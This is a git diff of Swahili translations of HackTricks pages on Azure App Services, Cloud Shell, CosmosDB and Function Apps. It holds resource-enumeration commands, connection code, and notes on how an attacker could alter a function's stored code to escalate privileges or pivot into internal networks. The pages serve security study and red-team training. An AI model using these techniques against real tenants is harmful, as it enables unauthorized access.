Kimsingi **Azure Function apps ni sehemu ya Azure App Service** katika kihifadhi cha wavuti na ikiwa utaenda kwenye kihifadhi cha wavuti na kuorodhesha huduma zote za programu au kutekeleza `az webapp list` katika az cli utaweza **kuona Function apps pia zimeorodheshwa huko**.
Kwa hivyo, huduma zote mbili kwa kweli zina **mipangilio, vipengele na chaguzi sawa katika az cli**, ingawa zinaweza kuzisakinisha kidogo tofauti (kama vile thamani za chaguo-msingi za appsettings au matumizi ya Akaunti ya Hifadhi katika Function apps).
Kwa hivyo, huduma zote mbili kwa kweli zina **mipangilio, vipengele na chaguzi sawa katika az cli**, ingawa zinaweza kuzisakinisha kidogo tofauti (kama vile thamani za default za appsettings au matumizi ya Akaunti ya Hifadhi katika Function apps).
## Enumeration
@@ -181,14 +181,59 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.Websites
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
# Retrieves details of a specific App Service Environment in the specified resource group.
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the access restriction configuration for a specified Web App.
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the SSL certificates for a specified resource group.
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
# Retrieves the continuous deployment URL for a containerized Web App.
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of continuous WebJobs for a specified Web App.
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the list of triggered WebJobs for a specified Web App.
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves details of a deleted Web App in the specified resource group.
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves a list of snapshots for a specified Web App.
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the history of a specific triggered WebJob for a Web App.
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
# Retrieves information about deployment slots for a specified Web App.
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
# Retrieves the continuous WebJobs for a Web App.
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
# Retrieves the traffic routing rules for a Web App.
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
# Retrieves details of a specific backup for a Web App.
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
# Retrieves the backup configuration for a Web App.
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the list of all backups for a Web App.
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{{#endtab }}
{{#tab name="az get all" }}
{{#tab name="az pata yote" }}
```bash
#!/bin/bash
@@ -225,11 +270,11 @@ done
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Mifanozo ya kuunda Web Apps
## Mifanozo ya kuzalisha Programu za Mtandao
### Python kutoka kwa eneo la ndani
### Python kutoka kwa eneo
Hii tutorial inategemea ile kutoka [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
Hii mafunzo inategemea ile kutoka [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
```bash
# Clone repository
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
@@ -238,7 +283,7 @@ cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp.
Kuingia kwenye portal ya SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp.
> [!TIP]
> Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` haitoshi kubadilisha msimbo unaotekelezwa na webapp.
@@ -247,13 +292,13 @@ Kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/ww
### Python kutoka Github
Mafunzo haya yanategemea yale ya awali lakini yanatumia hifadhi ya Github.
Mafunzo haya yanategemea yale ya awali lakini yanatumia hazina ya Github.
1. Fork repo msdocs-python-flask-webapp-quickstart katika akaunti yako ya Github.
1. Fork hazina msdocs-python-flask-webapp-quickstart katika akaunti yako ya Github.
2. Unda Web App mpya ya python katika Azure.
3. Katika `Deployment Center` badilisha chanzo, ingia na Github, chagua repo iliyoforked na bonyeza `Save`.
3. Katika `Deployment Center` badilisha chanzo, ingia na Github, chagua hazina iliyoforked na bonyeza `Save`.
Kama katika kesi ya awali, kuingia kwenye lango la SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp.
Kama katika kesi ya awali, kuingia kwenye portal ya SCM au kuingia kupitia FTP inawezekana kuona katika `/wwwroot` faili iliyo na muundo `output.tar.gz` ambayo ina msimbo wa webapp.
> [!TIP]
> Kuungana tu kupitia FTP na kubadilisha faili `output.tar.gz` na kuanzisha tena uanzishaji haitoshi kubadilisha msimbo unaotekelezwa na webapp.

View File

@@ -0,0 +1,58 @@
# Az - Cloud Shell
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Azure Cloud Shell
**Azure Cloud Shell** ni terminal ya kuingiliana, iliyothibitishwa, inayopatikana kupitia kivinjari iliyoundwa kwa ajili ya kusimamia rasilimali za Azure, ikitoa uwezekano wa kufanya kazi na Bash au PowerShell. Inafanya kazi kwenye mwenyeji wa muda, kwa kila kikao ambao unakoma baada ya dakika 20 za kutokuwa na shughuli, huku ikihifadhi faili katika eneo la $HOME kwa kutumia sehemu ya faili ya 5-GB. Cloud Shell inaweza kupatikana kupitia maeneo mengi, ikiwa ni pamoja na lango la Azure, shell.azure.com, Azure CLI na nyaraka za PowerShell, programu ya simu ya Azure, na nyongeza ya Akaunti ya Azure katika Visual Studio Code.
Hakuna ruhusa zilizotolewa kwa huduma hii, kwa hivyo hakuna mbinu za kupandisha hadhi. Pia hakuna aina yoyote ya uhesabuji.
### Key Features
**Environment**: Azure Cloud Shell inatoa mazingira salama kwa kukimbia kwenye Azure Linux, usambazaji wa Linux wa Microsoft ulioandaliwa kwa ajili ya miundombinu ya wingu. Kila pakiti iliyojumuishwa katika hifadhi ya Azure Linux inakusanywa ndani na Microsoft ili kulinda dhidi ya mashambulizi ya mnyororo wa usambazaji.
**Preinstalled Tools**: Cloud Shell inajumuisha seti kamili ya zana zilizowekwa awali kama vile Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, na wahariri wa maandiko kama vim, nano, na emacs. Zana hizi ziko tayari kutumika. Ili orodhesha pakiti na moduli zilizowekwa unaweza kutumia "Get-Module -ListAvailable", "tdnf list" na "pip3 list".
**$HOME persistence**: Unapozindua Azure Cloud Shell kwa mara ya kwanza, unaweza kuitumia na au bila akaunti ya kuhifadhi iliyounganishwa. Kuchagua kutounganisha kuhifadhi kunaunda kikao cha muda ambapo faili zinafuta wakati kikao kinamalizika. Ili kuhifadhi faili kati ya vikao, ungana na akaunti ya kuhifadhi, ambayo inounganishwa kiotomatiki kama **$HOME\clouddrive**, huku saraka yako ya **$HOME** ikihifadhiwa kama faili ya **.img** katika Azure File Share. Hata hivyo, faili zilizo nje ya $HOME na hali za mashine hazihifadhiwi. Ili kuhifadhi kwa usalama siri kama funguo za SSH, tumia Azure Key Vault.
**Azure drive (Azure:)**: PowerShell katika Azure Cloud Shell inajumuisha diski ya Azure (Azure:), ambayo inaruhusu urahisi wa kuvinjari rasilimali za Azure kama vile Compute, Network, na Storage kwa kutumia amri kama za mfumo wa faili. Badilisha kwenda kwenye diski ya Azure kwa cd Azure: na rudi kwenye saraka yako ya nyumbani kwa cd ~. Unaweza bado kutumia cmdlets za Azure PowerShell kusimamia rasilimali kutoka diski yoyote.
**Custom Tool Installation**: Watumiaji wanaoandika Cloud Shell na akaunti ya kuhifadhi wanaweza kufunga zana za ziada ambazo hazihitaji ruhusa za mzizi. Kipengele hiki kinaruhusu uboreshaji zaidi wa mazingira ya Cloud Shell, ikiruhusu watumiaji kubinafsisha mipangilio yao kulingana na mahitaji yao maalum.
## References
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/sponsors/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -17,14 +17,14 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
## Azure CosmosDB
**Azure Cosmos DB** ni **hifadhidata ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu inayo toa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhidata vya AI kama vile msaada wa vector uliojumuishwa na uunganisho usio na mshono wa Azure AI.
**Azure Cosmos DB** ni **hifadhidata ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu inayo toa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhidata vya AI kama vile msaada wa vector uliojumuishwa na uunganisho wa Azure AI usio na mshono.
Azure Cosmos DB inatoa APIs nyingi za hifadhidata ili kuunda mfano wa data halisi kwa kutumia nyaraka, uhusiano, modeli za data za funguo-thamani, grafu, na familia za safu, ambapo hizi APIs ni NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin na Table.
Moja ya vipengele muhimu vya CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama lango la kuingia kwenye hifadhidata. Akaunti inamua mipangilio muhimu kama vile usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama vile NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa latency. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, ikiwa na chaguzi zinazotofautiana kutoka kwa Usawa Imara hadi Usawa wa Hatimaye.
Moja ya vipengele muhimu vya CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama lango la kuingia kwenye hifadhidata. Akaunti inamua mipangilio muhimu kama vile usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama vile NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa latensi. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, ikiwa na chaguzi zinazotofautiana kutoka kwa Usawa Imara hadi Usawa wa Hatimaye.
### NoSQL (sql)
API ya NoSQL ya Azure Cosmos DB ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kufanya kazi na data iliyopangwa na isiyo na mpangilio. Kituo cha huduma ni:
API ya NoSQL ya Azure Cosmos DB ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kazi na data iliyopangwa na isiyo na mpangilio. Kituo cha huduma ni:
{% code overflow="wrap" %}
```bash
@@ -32,13 +32,13 @@ https://<Account-Name>.documents.azure.com:443/
```
{% endcode %}
#### Hifadhidata
Ndani ya akaunti, unaweza kuunda hifadhidata moja au zaidi, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia iliyotolewa kupitia kontena zao au kugawa kupitia iliyotolewa kwa kontena binafsi.
#### Databases
Ndani ya akaunti, unaweza kuunda moja au zaidi ya hifadhidata, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia uwezo wa kupangwa kati ya kontena zao au kugawa uwezo maalum kwa kontena binafsi.
#### Kontena
Kitengo cha msingi cha uhifadhi wa data ni kontena, ambacho kinashikilia hati za JSON na kimepangwa kiotomatiki kwa ajili ya uchunguzi wa ufanisi. Kontena zinaweza kupanuliwa kwa urahisi na kusambazwa katika sehemu, ambazo zinatolewa na ufunguo wa sehemu ulioelezwa na mtumiaji. Ufunguo wa sehemu ni muhimu kwa kuhakikisha utendaji bora na usambazaji sawa wa data. Kwa mfano, kontena inaweza kuhifadhi data za wateja, huku "customerId" ikiwa kama ufunguo wa sehemu.
#### Containers
Kitengo cha msingi cha uhifadhi wa data ni kontena, ambacho kinashikilia hati za JSON na kimewekwa kiotomatiki kwa ajili ya uchunguzi wa ufanisi. Kontena zinaweza kupanuliwa kwa urahisi na kusambazwa kati ya sehemu, ambazo zinatolewa na ufunguo wa sehemu ulioelezwa na mtumiaji. Ufunguzi wa sehemu ni muhimu kwa kuhakikisha utendaji bora na usambazaji sawa wa data. Kwa mfano, kontena inaweza kuhifadhi data za wateja, huku "customerId" ikiwa kama ufunguo wa sehemu.
#### Uhesabu
#### Enumeration
{% tabs %}
{% tab title="az cli" %}
@@ -131,7 +131,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
#### Muunganisho
Ili kuungana na azure-cosmosDB (pip install azure-cosmos) maktaba inahitajika. Zaidi ya hayo, mwisho wa huduma na ufunguo ni vipengele muhimu ili kufanya muunganisho.
Ili kuungana, maktaba ya azure-cosmosDB (pip install azure-cosmos) inahitajika. Zaidi ya hayo, mwisho wa huduma na ufunguo ni vipengele muhimu ili kufanya muunganisho.
{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -203,7 +203,7 @@ print("Document inserted.")
{% endcode %}
### MongoDB
API ya MongoDB NoSQL ni API inayotegemea hati ambayo inatumia BSON (Binary JSON) kama muundo wake wa data. Inatoa lugha ya kuuliza yenye uwezo wa kujumlisha, na kuifanya iweze kutumika kwa kazi na data iliyopangwa, nusu iliyopangwa, na isiyo na muundo. Kituo cha huduma kwa kawaida kinafuata muundo huu:
API ya MongoDB NoSQL ni API inayotegemea hati ambayo inatumia BSON (Binary JSON) kama muundo wake wa data. Inatoa lugha ya kuuliza yenye uwezo wa kujumlisha, na kuifanya iweze kutumika kwa kufanya kazi na data iliyopangwa, nusu iliyopangwa, na isiyo na muundo. Kituo cha huduma kwa kawaida kinafuata muundo huu:
{% code overflow="wrap" %}
```bash
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
@@ -340,7 +339,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
## Baada ya Utekelezaji
## Baada ya Ukatili
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
@@ -348,8 +347,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
## Kitu cha Kufanya
* Sehemu nyingine za DB hapa, meza, cassandra, gremlin...
* Angalia utekelezaji wa "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" na ufafanuzi wa majukumu kwa sababu hapa kunaweza kuwa na privesc
* Sehemu nyingine ya DB hapa, meza, cassandra, gremlin...
* Angalia baada ya ukatili "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" na ufafanuzi wa majukumu kwa sababu hapa kunaweza kuwa na privesc
* Angalia urejeleaji
{% hint style="success" %}
@@ -362,7 +361,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View File

@@ -4,27 +4,27 @@
## Basic Information
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuruhusu kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya chini. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
**Azure Function Apps** ni **huduma ya kompyuta isiyo na seva** inayokuruhusu kuendesha vipande vidogo vya msimbo, vinavyojulikana kama **functions**, bila kusimamia miundombinu ya msingi. Zimeundwa kutekeleza msimbo kama jibu kwa vichocheo mbalimbali, kama vile **maombi ya HTTP, timer, au matukio kutoka kwa huduma nyingine za Azure** kama Blob Storage au Event Hubs. Function Apps zinasaidia lugha nyingi za programu, ikiwa ni pamoja na C#, Python, JavaScript, na Java, na kuifanya kuwa rahisi kwa kujenga **maombi yanayoendeshwa na matukio**, kuendesha michakato, au kuunganisha huduma. Ni za gharama nafuu, kwani kwa kawaida unalipa tu kwa muda wa kompyuta ulitumika wakati msimbo wako unakimbia.
> [!NOTE]
> Kumbuka kwamba **Functions ni sehemu ya App Services**, kwa hivyo, nyingi ya vipengele vilivyojadiliwa hapa vitatumika pia na maombi yaliyoundwa kama Azure Apps (`webapp` katika cli).
### Different Plans
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii kutekeleza kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi waliotayarishwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizo na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
- **Container Apps**: Inaruhusu kutekeleza **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano zilizopangwa mapema** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii uanzishaji wa kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi walioandaliwa mapema** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
- **Dedicated Plan**: Inakimbia kwenye mashine halisi zilizotengwa na **malipo yanayoweza kutabiriwa** na inasaidia kupanuka kwa mikono au kiotomatiki. Inaruhusu kuendesha maombi mengi kwenye mpango mmoja, inatoa **kujitegemea kwa kompyuta**, na inahakikisha **ufikiaji salama wa mtandao** kupitia Mazingira ya Huduma ya Programu, na kuifanya kuwa bora kwa **maombi yanayoendelea kwa muda mrefu** yanayohitaji ugawaji wa rasilimali thabiti.
- **Container Apps**: Inaruhusu kupeleka **maombi ya kazi yaliyowekwa kwenye kontena** katika mazingira yanayosimamiwa, pamoja na huduma ndogo na APIs. Inasaidia maktaba za kawaida, uhamishaji wa maombi ya zamani, na **usindikaji wa GPU**, ikiondoa usimamizi wa klasta za Kubernetes. Inafaa kwa **maombi yanayoendeshwa na matukio, yanayoweza kupanuka yaliyowekwa kwenye kontena**.
### **Storage Buckets**
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitawekwa kwenye akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
Zaidi ya hayo, kubadilisha msimbo ndani ya ndoo (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati kazi inaitwa tena.
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati wa pili kazi inaitwa.
> [!CAUTION]
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya ndoo hii** utamruhusu mshambuliaji **kudhoofisha msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kudhoofisha msimbo na kupandisha mamlaka** kwa utambulisho wa kusimamiwa ndani ya Function App.
>
> Zaidi kuhusu hili katika **sehemu ya kupandisha mamlaka**.
@@ -36,15 +36,15 @@ Kumbuka kwamba Functions pia zinaruhusu kuhifadhi msimbo katika eneo la mbali kw
Kwa kutumia kichocheo cha HTTP:
- Inawezekana kutoa **ufikiaji kwa kazi kutoka kwa Intaneti yote** bila kuhitaji uthibitisho wowote au kutoa ufikiaji kulingana na IAM. Ingawa pia inawezekana kuzuia ufikiaji huu.
- Inawezekana pia **kutoa au kuzuia ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**.
- Inawezekana kutoa **ufikiaji kwa kazi kutoka kwa Intaneti yote** bila kuhitaji uthibitisho wowote au kutoa ufikiaji kulingana na IAM. Ingawa pia inawezekana kupunguza ufikiaji huu.
- Pia inawezekana **kutoa au kupunguza ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**.
> [!CAUTION]
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function iliyo hatarini iliyofichuliwa kwa Intaneti.
